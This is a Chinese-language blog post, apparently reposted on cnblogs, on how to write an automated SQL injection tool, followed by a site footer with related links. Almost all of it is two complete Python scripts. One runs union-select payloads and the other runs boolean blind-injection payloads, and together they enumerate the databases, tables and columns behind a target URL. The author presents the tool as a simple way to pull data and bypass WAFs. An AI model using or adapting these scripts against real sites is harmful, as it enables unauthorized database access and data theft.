• 如何编写一个SQL注入工具


    0x01  前言

      一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单、最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以。

    0x02 SQL注入工具

    A、联合查询

    union select 实现起来最为简单,报错注入的实现方式也基本一致,主要思路:获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名。

     代码详情:

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import requests
    import urllib
    import re
    values={}
    
    def get(url,values):
        data = urllib.urlencode(values)
        geturl = url+'?'+data
        response = requests.get(geturl)
        result=response.content
        find_list=re.findall(r"qwe~(.+?)~qwe", result)
        if len(find_list)>0:
            return find_list
    
    def get_database_name(url):
        values['id'] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA" 
        name_list=get(url,values)
        print 'The databases:'
        for i in name_list:
            print i+" ",
        print "
    "
    def table_name(url):
        database_name=raw_input('please input your database:')
        values['id'] = "1  union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema="+"'"+database_name+"'"
        name_list=get(url,values)
        print 'The table is :'
        for i in name_list:
            print i+" ",
        print "
    "
    def column_name(url):
        table_name=raw_input('please input your table:')
        values['id'] = "1   union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+"'"+table_name+"'"
        name_list=get(url,values)
        print 'The column is :'
        for i in name_list:
            print i+" ",
    if __name__ == '__main__':
        url='http://192.168.106.130/config/sql.php'
        get_database_name(url)
        table_name(url)
        column_name(url)
    View Code

    运行效果:

     B、盲注

      盲注的脚本,但总感觉代码不过简洁,越简单越好,可以把局部代码直接拿出来用,简单修改payload就可以获取数据,基于布尔盲注,GET,写的一个简单的注入脚本。

    主要思路:获取当前数据库名--选择数据库--获取这个数据库有几个表--依次获取每个表的长度--依次获取获取表名--依次获取每个表的长度、列名。

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import requests
    import urllib
    import time
    start_time = time.time()
    def database_length(url):
        values={}
        for i in range(1,100):
            values['id'] = "1 and (select length(database()))=%s" %i
            data = urllib.urlencode(values)
            geturl = url+'?'+data
            response = requests.get(geturl)
            if response.content.find('qwertyasd')>0:
                return i
    
    def database_name(url):
        payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
        values={}
        databasename= ''
        aa = 15
        aa = database_length(url)
        for i in range(1, aa+1):
            for payload in payloads:
                values['id'] = "1 and ascii(substring(database(),%s,1))=%s " %(i,ord(payload))
                data = urllib.urlencode(values)
                geturl = url+'?'+data
                response = requests.get(geturl)
                if response.content.find('qwertyasd')>0:
                    databasename += payload
        return databasename
    #print database_name('http://192.168.125.129/config/sql.php')
    
        
        
    def table_count(url,database):
        values={}
        for i in range(1,100):
            values['id'] = "1 and (select count(table_name) from information_schema.tables where table_schema="+"'"+database+"')"+"=%s" %i
            data = urllib.urlencode(values)
            geturl = url+'?'+data
            response = requests.get(geturl)
            if response.content.find('qwertyasd')>0:
                return i
    def table_length(url,a,database):
        values={} 
        for i in range(1,100):
            values['id'] = "1 and (select length(table_name) from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1)=%s" %(a,i)
            data = urllib.urlencode(values)
            geturl = url+'?'+data
            response = requests.get(geturl)
            if response.content.find('qwertyasd')>0:
                return i
    def table_name(url,database):
        payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
        values={}
        table_name=[]
        bb = table_count(url,database)
        for i in range(0,bb+1):
            user= ''
            cc=table_length(url,i,database)
            if cc==None:
                break
            for j in range(0,cc+1):
                for payload in payloads:
                    values['id'] = "1 and ascii(substring((select table_name from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1),%s,1))=%s " %(i,j,ord(payload))
                    data = urllib.urlencode(values)
                    geturl = url+'?'+data
                    response = requests.get(geturl)
                    if response.content.find('qwertyasd')>0:
                        user += payload
                        #print payload
            table_name.append(user)
        return table_name    
    #print table_name('http://192.168.125.129/config/sql.php','test')
    
    
    def column_count(url,table_name):
        values={}
        for i in range(1,100):
            values['id'] = "1 and (select count(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+")=%s" %i
            data = urllib.urlencode(values)
            geturl = url+'?'+data
            response = requests.get(geturl)
            if response.content.find('qwertyasd')>0:
                return i
    def column_length(num,url,table_name):
        values={}
        for i in range(1,100):
            limit = " limit %s,1)=%s" %(num,i)
            values['id'] = "1 and (select length(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+limit
            data = urllib.urlencode(values)
            geturl = url+'?'+data
            response = requests.get(geturl)
            if response.content.find('qwertyasd')>0:
                return i
    def column_name(url,table_name):
        payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
        values={}
        column_name=[]
        dd=column_count(url,table_name)
        for i in range(0,dd+1):
            user= ''
            bb=column_length(i,url,table_name)
            if bb==None:
                break
            for j in range(0,bb+1):
                for payload in payloads:
                    limit=" limit %s,1),%s,1))=%s" %(i,j,ord(payload))
                    values['id'] = "1 and ascii(substring((select column_name from information_schema.columns where table_name="+"'"+table_name+"'"+limit
                    data = urllib.urlencode(values)
                    geturl = url+'?'+data
                    response = requests.get(geturl)
                    if response.content.find('qwertyasd')>0:
                        user += payload
            column_name.append(user)
        return column_name
    #print column_name('http://192.168.125.129/config/sql.php','admin')
    
    
    if __name__ == '__main__':
        url='http://192.168.125.129/config/sql.php'
        databasename=database_name(url)
        print "The current database:"+databasename
        
    
        database=raw_input("Please input your databasename: ")
        tables=table_name(url,database)
        print database+" have the tables:",
        print tables
    
        for table in tables:
            print table+" have the columns:"
            print column_name(url,table)
        print 'Use for: %d second' % (time.time() - start_time)    
    View Code

    运行效果:

    0x03 END

      通过编写简单的SQL注入脚本来获取数据,脚本实现得很简单,扩展空间还很大,只为以最简单的方式来Bypass WAF数据获取。 

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

  • 相关阅读:
    vue框架,后端框架选型
    appium,元素定位和元素操作,使用uiautomatorviewer
    appium,参数化,数据驱动
    Qt 应用程序无法正常启动0xc000007b
    NOI2021 游记
    NOI 2021 游记
    NOI2021 看台风记
    NOI2021 部分题目题解
    NOI2021游记
    vectorized case branch
  • 原文地址:https://www.cnblogs.com/xiaozi/p/7279610.html
Copyright © 2020-2023  润新知